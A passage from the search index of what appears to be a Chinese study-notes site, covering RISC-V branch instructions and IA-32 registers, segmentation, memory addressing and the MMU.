<li>\u6307\u4ee4\u683c\u5f0f\uff1abeq rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if equal\uff09\u5982\u679c rs1 == rs2\uff0c\u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bne B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abne rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if not equal\uff09\u5982\u679c rs1 != rs2\uff0c\u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1a\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> blt B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1ablt rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if less than\uff09\u5982\u679c rs1 &lt; rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u6709\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bge B \u578b 31 25 24 20 19 15 14 12 11 7 6 0 imm[12,10:5] rs2 rs1 101 imm[4:1,11] 1100011 <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abge rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08branch if greater than or equal\uff09\u5982\u679c rs1 &gt;= rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u6709\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul> bltu B \u578b <ul> <li>\u6307\u4ee4\u683c\u5f0f\uff1abltu rs1, rs2, imm</li> <li>\u6307\u4ee4\u4f5c\u7528\uff1a\uff08blt unsigned\uff09\u5982\u679c rs1 &lt; rs2 \u5219 pc = pc+imm</li> <li>\u6ce8\u610f\uff1ars1 rs2 \u89c6\u4e3a\u65e0\u7b26\u53f7\u6570\u8fdb\u884c\u6bd4\u8f83\uff0c\u53ef\u4ee5\u8df3\u8f6c\u5230 \u00b14KiB \u8303\u56f4\u5185</li> </ul>"},{"location":"NOTE/CS/","title":"\u4e00\u4e9b\u81ea\u5b66","text":"<p> \u7ea6 19 \u4e2a\u5b57 </p> <p>\u4e0d\u5b9a\u671f\u66f4\u65b0</p> <p>\u76ee\u524d\u6709</p> <ul> <li>\u6c47\u7f16\u57fa\u7840</li> <li>Verilog</li> <li>Rust</li> <li>Git</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/","title":"\u8ba1\u7b97\u673a\u7684\u786c\u4ef6\u7ec4\u6210\u7ed3\u6784","text":"<p> \u7ea6 3052 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 11 \u5206\u949f</p> <p>\u8ba1\u7b97\u673a\u6709\u4e09\u5927\u786c\u4ef6\u7ec4\u6210\u90e8\u5206</p> <ul> <li> <p>CPU:\u5305\u542b\u8fd0\u7b97\u5668\uff0c\u63a7\u5236\u5668\uff0c\u5bc4\u5b58\u5668</p> </li> <li> <p>\u4e3b\u5b58\u50a8\u5668</p> </li> <li> <p>I/O\u63a5\u53e3\uff1a\u8f85\u52a9\u5b58\u50a8\u5668\uff0c\u8f93\u5165\u8bbe\u5907\uff0c\u8f93\u51fa\u8bbe\u5907</p> </li> </ul> <p>\u800c\u6c47\u7f16\u7a0b\u5e8f\u5458\u5c06\u786c\u4ef6\u62bd\u8c61\u4e3a</p> <ul> <li> <p>\u5bc4\u5b58\u5668</p> </li> <li> <p>\u5b58\u50a8\u5668\u5730\u5740</p> </li> <li> <p>\u8f93\u5165\u8f93\u51fa\u5730\u5740 </p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#register","title":"\u5bc4\u5b58\u5668(Register)","text":"<p>Info</p> <p>\u5bc4\u5b58\u5668\u662f\u5904\u7406\u5668\u5185\u90e8\u7684\u9ad8\u901f\u5b58\u50a8\u5355\u5143,\u7528\u4e8e\u6682\u65f6\u5b58\u653e\u7a0b\u5e8f\u6267\u884c\u8fc7\u7a0b\u4e2d\u7684\u4ee3\u7801\u548c\u6570\u636e</p> <p>\u5927\u81f4\u53ef\u4ee5\u5206\u6210\u4e24\u7c7b</p> <ul> <li> <p>\u900f\u660e\u5bc4\u5b58\u5668\uff1a\u5bf9\u5e94\u7528\u4eba\u5458\u4e0d\u53ef\u89c1\uff0c\u4e0d\u80fd\u7f16\u7a0b\u76f4\u63a5\u63a7\u5236</p> </li> <li> <p>\u53ef\u7f16\u7a0b\uff08programmable\uff09\u5bc4\u5b58\u5668\uff1a\u5177\u6709\u5f15\u7528\u540d\u79f0\uff0c\u53ef\u4ee5\u76f4\u63a5\u4f9b\u7f16\u7a0b\u4f7f\u7528</p> </li> </ul> <p>\u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668\u53c8\u5206\u4e3a\u901a\u7528\u5bc4\u5b58\u5668\u548c\u4e13\u7528\u5bc4\u5b58\u5668</p>"},{"location":"NOTE/CS/ASM/wk1/#_2","title":"\u5904\u7406\u5668\u901a\u7528\u5bc4\u5b58\u5668","text":"<p>\u5904\u7406\u5668\u6700\u5e38\u4f7f\u7528\u6574\u6570\u901a\u7528\u5bc4\u5b58\u5668\uff0c\u53ef\u4ee5\u7528\u4e8e\u4fdd\u5b58\u6574\u6570\u6570\u636e\uff0c\u5730\u5740\u7b49</p> <p>32\u4f4d\u7684IA-32\u5904\u7406\u5668\u5177\u67098\u4e2a32\u4f4d\u901a\u7528\u5bc4\u5b58\u5668</p> <ul> <li>EAX\uff0cEBX\uff0cECX\uff0cEDX\uff0cESI\uff0cEDI\uff0cEBI\uff0cESP</li> </ul> Register English Name Chinese Name EAX Accumulator \u7d2f\u52a0\u5668 EBX Base Address \u57fa\u5740\u5bc4\u5b58\u5668 ECX Counter \u8ba1\u6570\u5668 EDX Data \u6570\u636e\u5bc4\u5b58\u5668 ESI Source Index \u6e90\u53d8\u5740\u5bc4\u5b58\u5668 EDI Destination Index \u76ee\u7684\u53d8\u5740\u5bc4\u5b58\u5668 EBP Base Pointer \u57fa\u5740\u6307\u9488 ESP Stack Pointer \u5806\u6808\u6307\u9488 <p>\u6e90\u81ea16\u4f4d8086\u5904\u7406\u5668\u76848\u4e2a16\u4f4d\u901a\u7528\u5bc4\u5b58\u5668\uff08E\u4e3a\u6269\u5c55\uff0c\u5373extend\uff09</p> <ul> <li>AX\uff0cBX\uff0cCX\uff0cDX\uff0cSI\uff0cDI\uff0cBP\uff0cSP\uff0c\u524d\u56db\u4e2a\u5bc4\u5b58\u5668\u53ef\u5206\u9ad8\u4f4e\u5b57\u8282\uff0c\u5f62\u62108\u4e2a8\u4f4d\u7684\u901a\u7528\u5bc4\u5b58\u5668\uff1aAH,AL,BH,BL,CH,CL,DH,DL</li> </ul> <p>\u8fd9\u4f7f\u5f97\u8fd9\u4e9b\u5bc4\u5b58\u5668\u65e2\u662f\u4e00\u4e2a\u6574\u4f53\uff0c\u53c8\u53ef\u4ee5\u72ec\u7acb\u4f7f\u7528</p> \u56fe\u793a <p> </p>"},{"location":"NOTE/CS/ASM/wk1/#_3","title":"\u5904\u7406\u5668\u4e13\u7528\u5bc4\u5b58\u5668","text":"<p>\u4e13\u7528\u5bc4\u5b58\u5668\u4e3b\u8981\u6709\u4e09\u7c7b\uff0c\u6807\u5fd7\u5bc4\u5b58\u5668\uff0c\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668\uff0c\u6bb5\u5bc4\u5b58\u5668</p>"},{"location":"NOTE/CS/ASM/wk1/#flag","title":"\u6807\u5fd7\uff08Flag\uff09\u5bc4\u5b58\u5668","text":"\u4ec0\u4e48\u662f\u6807\u5fd7 <p>\u6807\u5fd7\u4f53\u73b0\u4e86\u67d0\u79cd\u5de5\u4f5c\u72b6\u6001\uff0c\u6709\u4e9b\u5904\u7406\u5668\u6807\u5fd7\u7528\u4e8e\u53cd\u6620\u6307\u4ee4\u6267\u884c\u7ed3\u679c\uff08\u52a0\u51cf\u662f\u5426\u8fdb\u4f4d\u501f\u4f4d\uff0c\u6570\u636e\u662f\u5426\u4e3a0\uff0c\u6b63\u8d1f\uff09\uff0c\u6709\u4e9b\u5904\u7406\u5668\u6807\u5fd7\u7528\u4e8e\u63a7\u5236\u6307\u4ee4\u6267\u884c\u5f62\u5f0f\uff08\u5904\u7406\u5668\u662f\u5426\u5355\u6b65\u64cd\u4f5c\uff0c\u662f\u5426\u54cd\u5e94\u5916\u90e8\u4e2d\u65ad\uff09</p> <p>\u5404\u79cd\u6807\u5fd7\u7ec4\u5408\u5728\u4e00\u4e2a\u4e13\u7528\u5bc4\u5b58\u5668\u5f62\u6210\u6807\u5fd7\u5bc4\u5b58\u5668\uff0c8086\u652f\u630116\u4f4d\u7684\u6807\u5fd7\u5bc4\u5b58\u5668FLAGS</p> <p>IA-32\u5904\u7406\u5668\u5f62\u621032\u4f4dEFLAGS\u6807\u5fd7\u5bc4\u5b58\u5668</p> <ul> <li> <p>\u72b6\u6001\u6807\u5fd7\uff1a\u8bb0\u5f55\u6307\u4ee4\u6267\u884c\u7ed3\u679c\u7684\u8f85\u52a9\u4fe1\u606f\uff0c\u662f\u5904\u7406\u5668\u6700\u57fa\u672c\u7684\u6807\u5fd7</p> <ul> <li>\u52a0\u51cf\u8fd0\u7b97\u548c\u903b\u8f91\u8fd0\u7b97\u6307\u4ee4\u4e3b\u8981\u8bbe\u7f6e\u4ed6\u4eec</li> <li>\u5176\u4ed6\u6709\u4e9b\u6307\u4ee4\u7684\u6267\u884c\u4e5f\u4f1a\u76f8\u5e94\u5730\u8bbe\u7f6e\u4ed6\u4eec</li> <li>\u5904\u7406\u5668\u4e3b\u8981\u4f7f\u7528\u5176\u4e2d5\u4e2a\u6784\u6210\u5404\u79cd\u6761\u4ef6\uff08\u5206\u652f\u6307\u4ee4\u5224\u65ad\u8fd9\u4e9b\u6761\u4ef6\u5b9e\u73b0\u7a0b\u5e8f\u5206\u652f\uff09</li> </ul> </li> <li> <p>\u63a7\u5236\u6807\u5fd7\uff1a \u65b9\u5411\u6807\u5fd7DF\uff0c\u4ec5\u7528\u4e8e\u4e32\u64cd\u4f5c\u6307\u4ee4</p> </li> <li>\u7cfb\u7edf\u6807\u5fd7\uff1a \u63a7\u5236\u64cd\u4f5c\u7cfb\u7edf\u6216\u6838\u5fc3\u7ba1\u7406\u7a0b\u5e8f\u7684\u64cd\u4f5c\u65b9\u5f0f</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#eip","title":"\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668EIP","text":"<p>\u7528\u4e8e\u4fdd\u5b58 \u5c06\u8981\u6267\u884c\u7684\u6307\u4ee4\u5728\u4e3b\u5b58\u7684\u5b58\u50a8\u5668\u5730\u5740 \uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2a\u6307\u5411\u5c06\u8981\u6267\u884c\u6307\u4ee4\u7684\u6307\u9488</p> <ul> <li> <p>\u5728\u987a\u5e8f\u6267\u884c\u65f6\u4f1a\u81ea\u52a8\u589e\u91cf\uff0c\u6307\u5411\u4e0b\u4e00\u6761\u6307\u4ee4</p> </li> <li> <p>\u5206\u652f\uff0c\u8c03\u7528\u7b49\u64cd\u4f5c\u65f6\u6267\u884c\u63a7\u5236\u8f6c\u79fb\u6307\u4ee4\u4fee\u6539\uff0c\u5f15\u8d77\u7a0b\u5e8f\u5230\u6307\u5b9a\u7684\u6307\u4ee4\u6267\u884c</p> </li> <li> <p>\u5728\u51fa\u73b0\u4e2d\u65ad\u6216\u8005\u5f02\u5e38\u65f6\u88ab\u5904\u7406\u5668\u8d4b\u503c\u800c\u76f8\u5e94\u6539\u53d8</p> </li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#_4","title":"\u6bb5\u5bc4\u5b58\u5668","text":"<p>\u5b58\u50a8\u7a7a\u95f4\u5206\u6bb5\u7ba1\u7406</p> <p>\u201c\u6bb5\u201d\u662f\u4fdd\u5b58\u76f8\u5173\u4ee3\u7801\u6216\u8005\u6570\u636e\u7684\u4e00\u4e2a\u4e3b\u5b58\u533a\u57df</p> <p>\u5e94\u7528\u7a0b\u5e8f\u4e3b\u8981\u6d89\u53ca\u4e09\u7c7b\u57fa\u672c\u6bb5</p> <ul> <li> <p>\u4ee3\u7801\u6bb5\uff08Code Segment\uff09    \u5b58\u653e\u7a0b\u5e8f\u7684\u53ef\u6267\u884c\u4ee3\u7801\uff08\u5904\u7406\u5668\u6307\u4ee4\uff09</p> </li> <li> <p>\u6570\u636e\u6bb5\uff08Data Segment\uff09    \u5b58\u653e\u5168\u5c40\u53d8\u91cf\u7b49\u7a0b\u5e8f\u6240\u7528\u7684\u6570\u636e</p> </li> <li> <p>\u5806\u6808\u6bb5\uff08Stack Segment\uff09    \u8fd9\u662f\u7a0b\u5e8f\u6240\u9700\u8981\u7684\u7279\u6b8a\u533a\u57df\uff0c\u7528\u4e8e\u5b58\u653e\u8fd4\u56de\u5730\u5740\uff0c\u4e34\u65f6\u53d8\u91cf\u7b49 </p> </li> </ul> <p>\u6bb5\u5bc4\u5b58\u5668\u8868\u660e\u67d0\u4e2a\u6bb5\u5728\u4e3b\u5b58\u4e2d\u7684\u4f4d\u7f6e</p> <p>\u6839\u636e\u5404\u4e2a\u6bb5\u7684\u9996\u5b57\u6bcd\u7f29\u5199\u6765\u7ed9\u76f8\u5e94\u7684\u5bc4\u5b58\u5668\u547d\u540d\uff0c\u5171\u67096\u4e2a16\u4f4d\u5bc4\u5b58\u5668</p> \u4ee3\u7801\u6bb5 CS \u5806\u6808\u6bb5 SS \u6570\u636e\u6bb5 DS\uff0cES\uff08Extra segment\uff09\uff0cFS\uff0cDS <p>\u4ee3\u7801\u6bb5\u7684\u5f53\u524d\u6307\u4ee4\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u7531\u4ee3\u7801\u6bb5\u5bc4\u5b58\u5668CS\u4fdd\u5b58</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u7531\u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668EIP\u4fdd\u5b58</li> </ul> <p>\u5806\u6808\u6bb5\u7684\u5f53\u524d\u6808\u9876\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u5806\u6808\u6bb5\u5bc4\u5b58\u5668SS\u4fdd\u5b58</li> <li>\u5806\u6808\u6307\u9488\u5bc4\u5b58\u5668ESP\u4fdd\u5b58   </li> </ul> <p>\u6570\u636e\u6bb5\u7684\u64cd\u4f5c\u6570\u5730\u5740</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u6570\u636e\u6bb5\u5bc4\u5b58\u5668DS\u6307\u793a\uff0c\u6709\u65f6\u5019\u4e5f\u7528ES\uff0cFS\uff0cGS\u6307\u793a</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u6ca1\u6709\u4e13\u95e8\u7684\u5bc4\u5b58\u5668\uff0c\u7531\u5b58\u50a8\u5668\u5bfb\u5740\u65b9\u5f0f\u8ba1\u7b97\u51fa\u7684\u6709\u6548\u5730\u5740EA\u6307\u793a</li> </ul> <p>\u7f16\u7a0b\u91c7\u7528\u7684\u903b\u8f91\u5730\u5740\u4e3a  \u6bb5\u57fa\u5730\u5740:\u504f\u79fb\u5730\u5740 \u7684\u7ec4\u5408</p> <ul> <li>\u6bb5\u57fa\u5730\u5740\uff1a\u5728\u4e3b\u5b58\u4e2d\u7684\u8d77\u59cb\u5730\u5740</li> <li>\u504f\u79fb\u5730\u5740\uff1a\u8ddd\u79bb\u6bb5\u57fa\u5730\u5740\u7684\u4fbf\u5b9c\u91cf</li> </ul> Info <p> </p> <p>\u603b\u7ed3</p> <p>\u5bc4\u5b58\u5668\u5206\u4e3a\u4e0d\u53ef\u7f16\u7a0b\u7684 \u900f\u660e\u5bc4\u5b58\u5668 \u548c \u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668 \uff0c\u53ef\u7f16\u7a0b\u5bc4\u5b58\u5668\u53c8\u53ef\u4ee5\u8fdb\u884c\u5206\u7c7b</p> \u5206\u7c7b \u7c7b\u578b \u5bc4\u5b58\u5668 \u901a\u7528\u5bc4\u5b58\u5668 32\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 EAX EBX ECX EDX ESI EDI EBP ESP 16\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 AX  BX  CX  DX  SI  DI  BP  SP 8\u4f4d\u901a\u7528\u5bc4\u5b58\u5668 AH  AL  BH  BL  CH  CL  DH  DL \u4e13\u7528\u5bc4\u5b58\u5668 \u6807\u5fd7\u5bc4\u5b58\u5668 EFLAGS \u6307\u4ee4\u6307\u9488\u5bc4\u5b58\u5668 EIP \u6bb5\u5bc4\u5b58\u5668 CS  DS  SS  ES  FS  GS"},{"location":"NOTE/CS/ASM/wk1/#_5","title":"\u5b58\u50a8\u5668\u7ec4\u7ec7","text":"<p>\u8ba1\u7b97\u673a\u786c\u4ef6\u7ec4\u6210\u7ed3\u6784\u4e2d\u7684\u4e3b\u5b58\u50a8\u5668\u5bb9\u91cf\u5f88\u5927\uff0c\u88ab\u5212\u5206\u4e3a\u8bb8\u591a\u5b58\u50a8\u5355\u5143\uff0c\u6bcf\u4e2a\u5b58\u50a8\u5355\u5143\u88ab\u7f16\u6392\u4e00\u4e2a\u53f7\u7801\uff0c\u5373\u5b58\u50a8\u5355\u5143\u5730\u5740\uff0c\u79f0\u4e3a \u5b58\u50a8\u5668\u5730\u5740\uff08Memory Address\uff09</p> <p>\u6bcf\u4e2a\u5b58\u50a8\u5355\u5143\u4ee5\u5b57\u8282\u4e3a\u57fa\u672c\u5b58\u50a8\u5355\u4f4d</p> <ul> <li>\u5373\u5b57\u8282\u7f16\u5740\uff08Byte Addressable\uff09</li> <li>\u4e00\u4e2a\u5b57\u8282\uff08Byte\uff09\u7b49\u4e8e8\u4e2a\u4e8c\u8fdb\u5236\u4f4d\uff08Bit\uff09,\u4e24\u4e2a\u5b57\u8282\u79f0\u4e3a\u5b57\uff0c\u4e24\u4e2a\u5b57\u79f0\u4e3a\u53cc\u5b57</li> <li>IA-32\u670932\u4f4d\u5730\u5740\uff0c\u53ef\u4ee5\u8bbf\u95ee 4GB \u5185\u5b58</li> </ul>"},{"location":"NOTE/CS/ASM/wk1/#_6","title":"\u5b58\u50a8\u5668\u7684\u7269\u7406\u5730\u5740","text":"<p>\u5904\u7406\u5668\u8fde\u63a5\u7684\u7269\u7406\u5b58\u50a8\u5668\u4f7f\u7528\u7269\u7406\u5730\u5740</p> <ul> <li>\u4ece0\u5f00\u59cb\u987a\u5e8f\u7f16\u6392\uff0c\u76f4\u5230\u5176\u652f\u6301\u7684\u6700\u5927\u5b58\u50a8\u5355\u5143</li> </ul> <p></p>"},{"location":"NOTE/CS/ASM/wk1/#_7","title":"\u5b58\u50a8\u7ba1\u7406\u5355\u5143\u548c\u5b58\u50a8\u6a21\u578b","text":"<p>\u9ad8\u6027\u80fd\u5904\u7406\u5668\u96c6\u6210\u6709\u5b58\u50a8\u7ba1\u7406\u5355\u5143MMU\uff0c\u5229\u7528\u5b83\u8fdb\u884c\u4e3b\u5b58\u50a8\u5668\u7a7a\u95f4\u7ba1\u7406</p> <p>\u5b58\u50a8\u7ba1\u7406\u5355\u5143\uff08Memory Management Unit, MMU\uff09\u662f\u8ba1\u7b97\u673a\u7cfb\u7edf\u4e2d\u7684\u4e00\u4e2a\u786c\u4ef6\u7ec4\u4ef6\uff0c\u8d1f\u8d23\u7ba1\u7406\u8ba1\u7b97\u673a\u7684\u5185\u5b58\u4f7f\u7528\u60c5\u51b5\u3002\u5b83\u5728CPU\u4e0e\u7269\u7406\u5185\u5b58\uff08RAM\uff09\u4e4b\u95f4\u8d77\u5230\u6865\u6881\u4f5c\u7528\uff0c\u4e3b\u8981\u804c\u8d23\u6709\uff1a</p> <ul> <li> <p>\u5730\u5740\u8f6c\u6362\uff08\u865a\u62df\u5185\u5b58\u5230\u7269\u7406\u5185\u5b58\u6620\u5c04\uff09 \u7a0b\u5e8f\u5e76\u4e0d\u76f4\u63a5\u5bfb\u5740\u7269\u7406\u5b58\u50a8\u5668  MMU\u5c06\u7a0b\u5e8f\u4f7f\u7528\u7684\u865a\u62df\u5730\u5740\uff08\u903b\u8f91\u5730\u5740\uff09\u8f6c\u6362\u4e3a\u7269\u7406\u5730\u5740\u3002\u8fd9\u79cd\u5730\u5740\u8f6c\u6362\u901a\u5e38\u662f\u901a\u8fc7\u5206\u9875\uff08paging\uff09\u6216\u5206\u6bb5\uff08segmentation\uff09\u673a\u5236\u6765\u5b9e\u73b0\u7684\u3002\u6bcf\u4e2a\u8fdb\u7a0b\u5728\u81ea\u5df1\u7684\u865a\u62df\u5730\u5740\u7a7a\u95f4\u4e2d\u8fd0\u884c\uff0c\u8fd9\u6837\u53ef\u4ee5\u4f7f\u591a\u4e2a\u8fdb\u7a0b\u5171\u5b58\u4e8e\u7cfb\u7edf\u5185\u5b58\u4e2d\u800c\u4e92\u4e0d\u5e72\u6270\u3002</p> </li> <li> <p>\u5185\u5b58\u4fdd\u62a4 MMU\u53ef\u4ee5\u8bbe\u7f6e\u4e0d\u540c\u7684\u6743\u9650\uff08\u5982\u8bfb\u3001\u5199\u3001\u6267\u884c\uff09\u6765\u4fdd\u62a4\u5185\u5b58\u533a\u57df\uff0c\u9632\u6b62\u4e00\u4e2a\u8fdb\u7a0b\u8bbf\u95ee\u53e6\u4e00\u4e2a\u8fdb\u7a0b\u7684\u5185\u5b58\u6216\u64cd\u4f5c\u7cfb\u7edf\u5185\u5b58\uff0c\u4fdd\u969c\u7cfb\u7edf\u7684\u5b89\u5168\u6027\u548c\u7a33\u5b9a\u6027\u3002</p> </li> <li> <p>\u5185\u5b58\u5206\u914d\u4e0e\u56de\u6536 MMU\u534f\u52a9\u64cd\u4f5c\u7cfb\u7edf\u5728\u7a0b\u5e8f\u8fd0\u884c\u65f6\u5206\u914d\u548c\u91ca\u653e\u5185\u5b58\u3002\u5b83\u5e2e\u52a9\u7ba1\u7406\u7269\u7406\u5185\u5b58\u7684\u5206\u914d\uff0c\u4ee5\u786e\u4fdd\u5185\u5b58\u9ad8\u6548\u5229\u7528\u5e76\u51cf\u5c11\u788e\u7247\u5316\u3002</p> </li> <li> <p>\u5206\u9875\u7ba1\u7406 MMU\u901a\u8fc7\u5206\u9875\u673a\u5236\uff0c\u5c06\u7a0b\u5e8f\u7684\u865a\u62df\u5185\u5b58\u5212\u5206\u4e3a\u56fa\u5b9a\u5927\u5c0f\u7684\u5757\uff08\u79f0\u4e3a\u9875\u9762\uff09\uff0c\u5e76\u5c06\u8fd9\u4e9b\u9875\u9762\u6620\u5c04\u5230\u7269\u7406\u5185\u5b58\u7684\u5b9e\u9645\u4f4d\u7f6e\u3002\u8fd9\u6837\u53ef\u4ee5\u6709\u6548\u5730\u7ba1\u7406\u5185\u5b58\uff0c\u5e76\u652f\u6301\u865a\u62df\u5185\u5b58\u6280\u672f\uff0c\u4f7f\u7a0b\u5e8f\u80fd\u591f\u4f7f\u7528\u8d85\u8fc7\u7269\u7406\u5185\u5b58\u5927\u5c0f\u7684\u5185\u5b58\u7a7a\u95f4\u3002</p> </li> <li> <p>\u7f13\u5b58\u7ba1\u7406 \u5728\u4e00\u4e9b\u9ad8\u7ea7\u7cfb\u7edf\u4e2d\uff0cMMU\u4e5f\u53c2\u4e0e\u7ba1\u7406CPU\u7f13\u5b58\uff08\u5982L1\u3001L2\u7f13\u5b58\uff09\u4e0e\u5185\u5b58\u4e4b\u95f4\u7684\u6570\u636e\u4ea4\u6362\u3002\u5b83\u786e\u5b9a\u54ea\u4e9b\u6570\u636e\u5e94\u8be5\u7559\u5728\u7f13\u5b58\u4e2d\u4ee5\u63d0\u9ad8\u8bbf\u95ee\u901f\u5ea6\u3002</p> </li> <li> <p>\u5f02\u5e38\u5904\u7406 \u5f53\u7a0b\u5e8f\u8bd5\u56fe\u8bbf\u95ee\u65e0\u6548\u7684\u5730\u5740\uff08\u5982\u6ca1\u6709\u6620\u5c04\u5230\u7269\u7406\u5185\u5b58\u7684\u865a\u62df\u5730\u5740\uff09\u65f6\uff0cMMU\u4f1a\u4ea7\u751f\u4e00\u4e2a\u5f02\u5e38\uff08\u901a\u5e38\u79f0\u4e3a\u9875\u9762\u9519\u8bef\u6216\u7f3a\u9875\u4e2d\u65ad\uff09\uff0c\u901a\u77e5\u64cd\u4f5c\u7cfb\u7edf\u5904\u7406\u8fd9\u4e2a\u60c5\u51b5\uff0c\u5982\u5206\u914d\u65b0\u7684\u5185\u5b58\u9875\u6216\u4ece\u78c1\u76d8\u52a0\u8f7d\u9700\u8981\u7684\u6570\u636e\u3002</p> </li> </ul> <p>IA-32 \u5904\u7406\u5668\u7684\u5b58\u50a8\u6a21\u578b</p> <ul> <li>\u5e73\u5c55\u5b58\u50a8\u6a21\u578b\uff08Flat Memory Model\uff09\uff1a\u5b58\u50a8\u5668\u662f\u4e00\u4e2a\u8fde\u7eed\u76844GB\u7ebf\u6027\u5730\u5740\u7a7a\u95f4</li> <li>\u6bb5\u5f0f\u5b58\u50a8\u6a21\u578b\uff08Segmented Memory Model\uff09<ul> <li>\u5b58\u50a8\u5668\u7531\u4e00\u7ec4\u72ec\u7acb\u7684\u5730\u5740\u7a7a\u95f4\u7ec4\u6210\uff1a\u6bb5\uff08Segment\uff09</li> <li>\u6bcf\u4e2a\u6bb5\u90fd\u53ef\u4ee5\u8fbe\u52304GB</li> </ul> </li> <li>\u5b9e\u5730\u5740\u5b58\u50a8\u6a21\u578b\uff08Real-address Memory Model\uff09<ul> <li>8086\u5904\u7406\u5668\u7684\u5b58\u50a8\u6a21\u578b\uff08\u6700\u59271MB\uff09</li> <li>\u6bb5\u5f0f\u5b58\u50a8\u6a21\u578b\u7684\u7279\u4f8b\uff08\u6bb5\u6700\u592764KB\uff09</li> </ul> </li> </ul> <p>Example</p> <p>\u5b58\u50a8\u5668\u7a7a\u95f4\u53ef\u4ee5\u5206\u6bb5\u7ba1\u7406\uff0c\u91c7\u7528\u903b\u8f91\u5730\u5740\u6307\u793a</p> <p>\u4e3e\u4e2a\u4f8b\u5b50\uff0c\u6709\u4e00\u5e62\u697c\uff0c3\u5c42\uff0c\u6bcf\u4e00\u5c42\u670910\u4e2a\u623f\u95f4\uff0c\u9996\u5148\u6211\u4eec\u4ece\u7b2c\u4e00\u5c4201\u5f00\u59cb\u7f16\u53f7\u5230\u6700\u540e\u4e00\u4e2a\u623f\u95f430</p> <p>\u5bf9\u4e8e\u7b2c\u4e8c\u5c42\u7b2c\u4e94\u4e2a\u623f\u95f4\uff0c\u7269\u7406\u5730\u5740\u662f\u7edd\u5bf9\u5730\u5740:15\uff0c\u4f46\u662f\u4e3a\u4e86\u65b9\u4fbf\uff0c\u5b83\u88ab\u79f0\u4e3a205\uff0c\u8fd9\u5c31\u662f\u5b83\u7684\u903b\u8f91\u5730\u5740\uff08\u76f8\u5bf9\u5730\u5740\uff09</p> <p>\u4e09\u5927\u5730\u5740\u7684\u5173\u7cfb</p> <p>\u7a0b\u5e8f\u5458\u7f16\u7a0b\u65f6\u91c7\u7528\u903b\u8f91\u5730\u5740\uff0c\u64cd\u4f5c\u7cfb\u7edf\u5229\u7528\u5b58\u50a8\u7ba1\u7406\u5355\u5143MMU\u5c06\u903b\u8f91\u5730\u5740\u6620\u5c04\u6210\u7ebf\u6027\u5730\u5740\uff08\u865a\u62df\u5730\u5740\uff09\uff0c\u5904\u7406\u5668\u4f7f\u7528\u7269\u7406\u5730\u5740\u8bbf\u95ee\u4e3b\u5b58\u50a8\u5668\u82af\u7247</p> <p>\u903b\u8f91\u5730\u5740\uff08Logical Address\uff09</p> <ul> <li>\u5b9a\u4e49: \u903b\u8f91\u5730\u5740\u662f\u7a0b\u5e8f\u5458\u5728\u7f16\u5199\u7a0b\u5e8f\u65f6\u4f7f\u7528\u7684\u5730\u5740\uff0c\u7531CPU\u5728\u6267\u884c\u7a0b\u5e8f\u65f6\u751f\u6210\u3002</li> <li>\u7279\u70b9: \u903b\u8f91\u5730\u5740\u662f\u76f8\u5bf9\u4e8e\u7a0b\u5e8f\u7684\u8d77\u59cb\u5730\u5740\u7684\u504f\u79fb\u91cf\uff0c\u4e0e\u5b9e\u9645\u7684\u7269\u7406\u5185\u5b58\u4f4d\u7f6e\u65e0\u5173\u3002</li> <li>\u522b\u540d: \u903b\u8f91\u5730\u5740\u4e5f\u88ab\u79f0\u4e3a \u865a\u62df\u5730\u5740\uff08Virtual Address\uff09 \u3002\u5728\u6bcf\u4e2a\u8fdb\u7a0b\u7684\u4e0a\u4e0b\u6587\u4e2d\uff0c\u903b\u8f91\u5730\u5740\u662f\u552f\u4e00\u7684\u3002</li> <li>\u4f7f\u7528: 